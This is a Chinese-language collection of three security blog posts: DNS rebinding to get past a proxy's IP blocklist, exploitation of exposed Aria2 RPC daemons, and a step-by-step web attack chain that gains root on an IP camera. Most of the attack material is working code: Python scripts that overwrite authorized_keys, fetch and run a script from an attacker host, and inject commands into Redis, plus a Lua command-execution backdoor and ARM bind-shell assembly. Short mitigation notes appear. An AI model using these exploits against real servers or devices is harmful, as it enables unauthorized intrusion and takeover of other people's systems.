Use DNS Rebinding to Bypass IP Restriction

0x00 前言

在不久前的一个渗透测试中,我遇到一个客户自己实现的代理。这个代理可以用来翻墙,但是由于这个代理搭建在客户内网中,所以同样可以访问内网资源。
报告给客户后,客户予以修复。在之后的复测中,访问内网资源的时候返回 403,只能请求非黑名单 IP 段中的地址。

>>> export all_proxy=http://u:p@proxy_server:1234
>>> curl 10.0.0.1 -v
* Rebuilt URL to: 10.0.0.1/
*   Trying proxy_server...
* TCP_NODELAY set
* Connected to proxy_server (proxy_server) port 1234 (#0)
* Proxy auth using Basic with user 'u'
> GET http://10.0.0.1/ HTTP/1.1
> Host: 10.0.0.1
> Proxy-Authorization: Basic dTpw
> User-Agent: curl/7.51.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 11 Dec 2016 13:10:23 GMT
< Content-Length: 43
<
Request URL http://10.0.0.1/ is forbidden.

于是利用一般性的绕过方式,比如:

  • http://baidu.com@10.0.0.1
  • http://test.loli.club (ip: 10.0.0.1)
  • 301 / 302 Redirect
  • file:///etc/passwd
  • gopher protocol
  • ftp protocol

等一系列姿势都以失败告终。于是开始思考其验证 IP 的具体方式,尝试绕过 IP 限制请求内网。

0x01 IP 验证方式

一般来说,验证 IP 是否在范围的方式如下图所示。

获取到请求的地址后,如果为域名的话,则通过 DNS 解析的方式获取到真实的 IP 地址,如果直接是 IP 地址的话,则直接对比是否在指定的 IP 段内。

比如如上的 test.loli.club 请求获得的 IP 地址为 10.0.0.1,黑名单 IP 段为 10.0.0.0/8,则会提示拒绝访问。

一般来说这种验证没有什么问题,但是通过 DNS Rebinding 技术来进行攻击的话,就可以轻而易举地绕过这个 IP 限制。

0x02 DNS Rebinding

上图所示的验证方法是存在问题的。服务器从获得请求的 URL 开始,到利用 URL 的 Hostname 获取到 IP 地址,再从判断 IP 地址到请求 URL 之间,是有一个时间差的。利用这个时间差,我们可以做一些事情。

众所周知,DNS 返回的数据包中存在一个 TTL(Time-To-Live),也就是域名解析记录在 DNS 服务器上的缓存时间。如果两次 DNS 请求的时间大于 TTL 的大小的话,那么就会重新进行一次 DNS 解析请求。

如果我们在第一次请求 DNS 解析时返回一个不在黑名单里面的 IP 地址,然后在第二次服务端请求 URL 的时候,让服务器再请求一次 DNS 解析,这次解析到黑名单内的地址,且没有任何验证,利用个短暂的时间差来绕过验证。

我们把 DNS 服务器的 TTL 设置为 0,这样就可以有足够的时间来让服务器再次请求 DNS 服务器而导致绕过 IP 黑名单限制。

0x03 攻击配置

要进行攻击首先需要一个域名,然后配置一个 NS 记录,指向攻击者配置的 DNS 服务器。

在 DNS 服务器上搭建一个 DNS 服务,核心代码如下:

测试请求 1.asf.loli.club:

两次 DNS 请求的结果不同。测试在实际环境中可以绕过 IP 验证。由于保密原因就不再提供真实环境的测试图片,但是实际上已经成功请求其内网的 gitlab、kms 等关键服务了。

0x04 攻击面

  • CSRF/XSS 窃取用户数据
  • 绕过 SSRF IP 限制
  • 绕过代理 IP 限制

0x05 缓解措施

利用第一次请求解析的 IP 来进行后续的 HTTP/HTTPS 请求即可。

def dns_resolve(hostname):
    ...

def check_ip(ip):
    ...

url = input()
ip = dns_resolve(urlparse(url.hostname))
if not check_ip(ip):
    return '403 Forbidden', 403
data = requests.get(ip, headers={'Host': url.hostname})
return data.content, data.status_code

Hacking Aria2 RPC Daemon

ABSTRACT

在未设置任何安全措施的情况下,Aria2 RPC Server 可以接受任何未知来源的请求指令,并予以下载。即使存在诸如--rpc-secret--rpc-user--rpc-passwd之类的安全措施,也可以通过社会工程学手段进行攻击。通过 Aria2 RPC Server,可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法,获取服务器权限。

1. INTERDUCTION

Aria2 是一个命令行下运行、多协议、多来源下载工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),内建 XML-RPC 用户界面。[1] Aria 提供 RPC Server,通过--enable-rpc参数启动。Aria2 的 RPC Server 可以方便的添加、删除下载项目。

2. ATTACK TECHNIQUES

2.1 Arbitary File Write

通过控制文件下载链接、文件储存路径以及文件名,可以实现任意文件写入。同时通过 Aria2 提供的其他功能,诸如 save-session 等也能轻易地实现向任意文件写入指定功能。

2.1.1 Bypass --auto-file-renaming and --allow-overwrite

根据 Aria2 RPC Server 的文档 changeGlobalOption 方法支持修改部分全局设置参数。[2] 通过修改 allow-overwrite 参数即可实现绕过自动重命名,且可以直接覆盖指定文件。
即使不修改 allow-overwrite,也可以通过其他方式,比如指定 session 文件路径来覆盖目标文件。

2.1.2 Overwrite .ssh/authorized_keys By Download File

在类 Unix 系统上,持有储存在某用户目录下的 .ssh/authorized_keys 文件中的公钥所对应的私钥的用户可以通过 ssh 直接远程无密码登陆此系统。[3] 如果攻击者可以通过 Aria2 覆盖 .ssh/authorized_keys 文件的话,那么攻击者可以轻易地取得目标系统的权限。

s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))

通过覆盖 .ssh/authorized_keys,成功登陆到目标服务器。

2.1.3 Overwrite .ssh/authorized_keys By save-session

老版本 Aria2
Aria2 RPC Server 提供 save-session 选项,可以指定在 aria2c 关闭时保存当前下载文件的状态;同时 Aria2 RPC Server 提供 user-agent 选项,可以指定下载文件的 UA。[2]
Aria2 session 格式为:

http://download-server/1.txt
 gid=79e8977d817e750e
 dir=/home/bangumi/.aria2/
 out=1.txt
 allow-overwrite=true
 user-agent=aria2/1.21.1

Aria2 未处理 \n 换行符,可以精心构造 user-agent 来伪造 session 文件,不过这偏离讨论范围。由于 .ssh/authorized_keys 存在容错性,所以可以设置 session 路径为 .ssh/authorized_keys,注入攻击者的 public key 来进行攻击。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())

攻击完成后 aria2 关闭,session 文件储存在指定目录。

新版本 Aria2
新版本的 Aria2 提供了 aria2.saveSession 方法,可以在避免关闭 aria2 的情况下储存 session。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File

Aria2 提供 --on-download-complete 选项,可以指定下载完成时需要运行的程序。[2] 调用程序的参数为:

hook.sh $1      $2      $3
hook.sh GID     文件编号 文件路径

其中 GID 为 Aria2 自动生成的编号,文件编号通常为 1。--on-download-complete 选项传入的 COMMAND 需要为带有可执行权限的命令路径。
为了执行命令,我们需要寻找一个可以执行第三个参数路径所指向的文件的 COMMAND,不过不幸的是,Linux 下并没有找到类似的 COMMAND。由于前两个参数不可控,且未知,但是 GID 在 Aria2 添加任务的时候就已经返回,所以我们用一个比较取巧的方法执行命令。
首先下载恶意的 aria2 配置文件,并覆盖原本的配置文件,等待 aria2 重新加载配置文件。然后下载一个大文件,得到 GID 后立即暂停,接着下载一个小文件,使得小文件保存的文件名为大文件的 GID,最后再开启大文件的下载,即可执行任意命令。

s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)

下载完成后,Aria2 将会执行如下命令:

/bin/bash GID 1 /path/to/file

由于 GID 我们已知,且存在名为 GID 的文件,调用时路径基于当前目录,所以可以成功执行。

2.2 SSRF

Scan Intranet HTTP Service
利用 Aria2 下载文件的特性,且对于下载的地址未限制,所以可以通过 Aria2 对于内网资源进行请求访问。

def gen():
    return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]


def main():
    s = ServerProxy("http://victim/rpc")
    t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
    pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
    pprint(s.aria2.getGlobalOption())
    while 1:
        for f in t:
            pprint(s.aria2.getFiles(f))

利用如上代码可对于内网资源进行扫描。

Attack Redis Server
Aria2 的 user-agent 未过滤 \n,可以通过换行来攻击内网 Redis Server。[4]

payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))

攻击成功后,/root/.ssh/authorized_keys 被覆盖,可通过 ssh 无密码登陆。

3. MITIGATION TECHNIQUES

3.1 CLI OPTIONS

  • --rpc-listen-all:最好关闭此项功能
  • --allow-overwrite:应当关闭此项功能
  • --auto-file-renaming:应当开启此项功能
  • --rpc-secret:应当开启此项功能

3.2 PERMISSIONS

  • 通过 nobody 用户运行 aria2c

REFERENCES

  1. Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
  2. aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
  3. Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
  4. 利用 gopher 协议拓展攻击面. https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面

Pwn A Camera Step by Step (Web ver.)

闲来无事,买了一个某品牌的摄像头来 pwn 着玩(到货第二天就忙成狗了,flag 真是立的飞起)。
本想挖一挖二进制方面的漏洞,但是死性不改的看了下 Web,通过一个完整的攻击链获取到这款摄像头的 root 权限,感觉还是很有意思的。

0x00

配置好摄像头连上内网后,首先习惯性的用 nmap 扫描了一下端口。

>>> ~ nmap 192.168.1.101 -n -v --open

Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-01 12:13 CST
Initiating Ping Scan at 12:13
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 12:13, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:13
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 554/tcp on 192.168.1.101
Discovered open port 873/tcp on 192.168.1.101
Discovered open port 52869/tcp on 192.168.1.101
Completed Connect Scan at 12:13, 0.35s elapsed (1000 total ports)
Nmap scan report for 192.168.1.101
Host is up (0.051s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
873/tcp   open  rsync
52869/tcp open  unknown

Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

除了 554、80,居然发现了一个 873 端口。873 是 rsync 的端口,一个摄像头居然开启了这个端口,感觉到十分的费解。
查看了下 rsync 的目录,发现有密码,暂时搁置。

>>> ~ rsync 192.168.1.101::                                                                             12:22:03

usb             rsync_mgr
nas             rsync_mgr
>>> ~ rsync 192.168.1.101::nas                                                                          12:22:06

Password:
@ERROR: auth failed on module nas
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

Web 端黑盒没有分析出漏洞,同样暂时搁置。
不过暂时发现有意思的一点,这个摄像头可以挂载 NFS。

0x01

下面着手分析固件。
在官网下载固件后,用 firmware-mod-kit 解包。

/home/httpd 存放着 Web 所有的文件,是 lua 字节码。file 一下发现是 lua-5.1 版本的。
利用 unluac.jar 解码得到 Web 源码。
本以为会有命令执行等漏洞,因为会有 NFS 挂载的过程。但是并没有找到所谓的漏洞存在。
同时看了下 rsync 配置文件,发现密码为 ILove****

但是尝试查看内容的时候提示 chdir faild,难道说这个文件不存在?

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

突然有个猜想划过脑海。于是我搭建了一个 NFS 服务器,然后配置好摄像头 NFS:

再次运行 rsync:

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

drwxrwxrwx        4096 2016/11/01 12:35:47 .
drwxr-xr-x        4096 2016/11/01 12:35:47 HN1A009G9M12857

Bingo!

0x02

rsync 目录限制在 /mnt/netsrv/nas 了,如何绕过呢。
symbolic link 来帮你_(:3」∠)_
愚蠢的 rsync 并没有设置 chroot,于是我可以直接创建一个指向 / 的符号链接,然后可以访问任意目录。

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/

drwxr-xr-x         216 2016/07/23 11:28:55 .
lrwxrwxrwx          11 2016/07/23 11:28:43 linuxrc
lrwxrwxrwx           9 2016/07/23 11:28:55 tmp
drwxr-xr-x         971 2016/07/23 11:28:56 bin
drwxrwxrwt       10620 1970/01/01 08:00:10 dev
drwxr-xr-x         603 2016/07/23 11:28:55 etc
drwxr-xr-x          28 2016/07/23 11:28:43 home
drwxr-xr-x        1066 2016/07/23 11:28:56 lib
drwxr-xr-x          60 2016/07/23 11:27:31 mnt
dr-xr-xr-x           0 1970/01/01 08:00:00 proc
drwxr-xr-x         212 2016/07/23 11:28:56 product
drwxr-xr-x           3 2016/07/23 11:27:31 root
drwxr-xr-x         250 2016/07/23 11:28:43 sbin
drwxr-xr-x           0 1970/01/01 08:00:01 sys
drwxr-xr-x          38 2016/07/23 11:27:31 usr
drwxr-xr-x          50 2016/07/23 11:28:55 var

正当我愉快的打算 rsync 一个 lua 的 shell 到上面时,却发现除了 /tmp/,整个文件系统都不可写。
嘛,没关系,我们还有 Web 源码可以看。

local initsession = function()
  local sess_id = cgilua.remote_addr
  if sess_id == nil or sess_id == "" then
    g_logger:warn("sess_id error")
    return
  end
  g_logger:debug("sess_id = " .. sess_id)
  setsessiondir(_G.CGILUA_TMP)
  local timeout = 300
  local t = cmapi.getinst("OBJ_USERIF_ID", "")
  if t.IF_ERRORID == 0 then
    timeout = tonumber(t.Timeout) * 60
  end
  setsessiontimeout(timeout)
  session_init(sess_id)
  return sess_id
end

initsession 函数创建了一个文件名为 IP 地址的 session,文件储存在 /tmp/lua_session

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/lua_session/

drwxrwxr-x          60 2016/11/01 12:11:12 .
-rw-r--r--         365 2016/11/01 12:35:55 192_168_1_100.lua

同步回来,加一句 os.execute(cgilua.POST.cmd);,然后同步回去。

看起来已经成功执行了命令。但是我尝试了常见的 whoamiid 等命令,发现并不存在,通过 sh 反弹 shell 也失败了。感觉很尴尬233333

0x03

通过收集部分信息得知摄像头为 ARM 架构,编写一个 ARM 的 bind shell 的 exp:

void main()
{
    asm(
    "mov %r0, $2\n"
    "mov %r1, $1\n"
    "mov %r2, $6\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $1\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    ".if 0\n"
    "mov %r0, %r6\n"
    ".endif\n"
    "mov %r1, $0x37\n"
    "mov %r7, $0x13\n"
    "mov %r1, %r1, lsl $24\n"
    "add %r1, %r7, lsl $16\n"
    "add %r1, $2\n"
    "sub %r2, %r2, %r2\n"
    "push {%r1, %r2}\n"
    "mov %r1, %sp\n"
    "mov %r2, $16\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $2\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $20\n"
    "mov %r1, $1\n"
    "mov %r0, %r6\n"
    "push {%r0, %r1}\n"
    "mov %r0, $4\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, $8\n"
    "mov %r0, %r6\n"
    "sub %r1, %r1, %r1\n"
    "sub %r2, %r2, %r2\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $5\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    "mov %r1, $2\n"
    "1:  mov %r0, %r6\n"
    "svc 0x0090003f\n"
    "subs %r1, %r1, $1\n"
    "bpl 1b\n"
    "sub %r1, %sp, $4\n"
    "sub %r2, %r2, %r2\n"
    "mov %r3, $0x2f\n"
    "mov %r7, $0x62\n"
    "add %r3, %r7, lsl $8\n"
    "mov %r7, $0x69\n"
    "add %r3, %r7, lsl $16\n"
    "mov %r7, $0x6e\n"
    "add %r3, %r7, lsl $24\n"
    "mov %r4, $0x2f\n"
    "mov %r7, $0x73\n"
    "add %r4, %r7, lsl $8\n"
    "mov %r7, $0x68\n"
    "add %r4, %r7, lsl $16\n"
    "mov %r5, $0x73\n"
    "mov %r7, $0x68\n"
    "add %r5, %r7, lsl $8\n"
    "push {%r1, %r2, %r3, %r4, %r5}\n"
    "add %r0, %sp, $8\n"
    "add %r1, %sp, $0\n"
    "add %r2, %sp, $4\n"
    "svc 0x0090000b\n"
    );
}

编译:

arm-linux-gcc 2.c -o 2 -static

通过 rsync 扔到 /tmp 目录,然后跑起来:

rsync --password-file /tmp/p 2 rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/
curl http://192.168.1.101 --data "cmd=wget%20192.168.1.100:2333/`/tmp/2%26`"

连接 4919 端口:

Pwned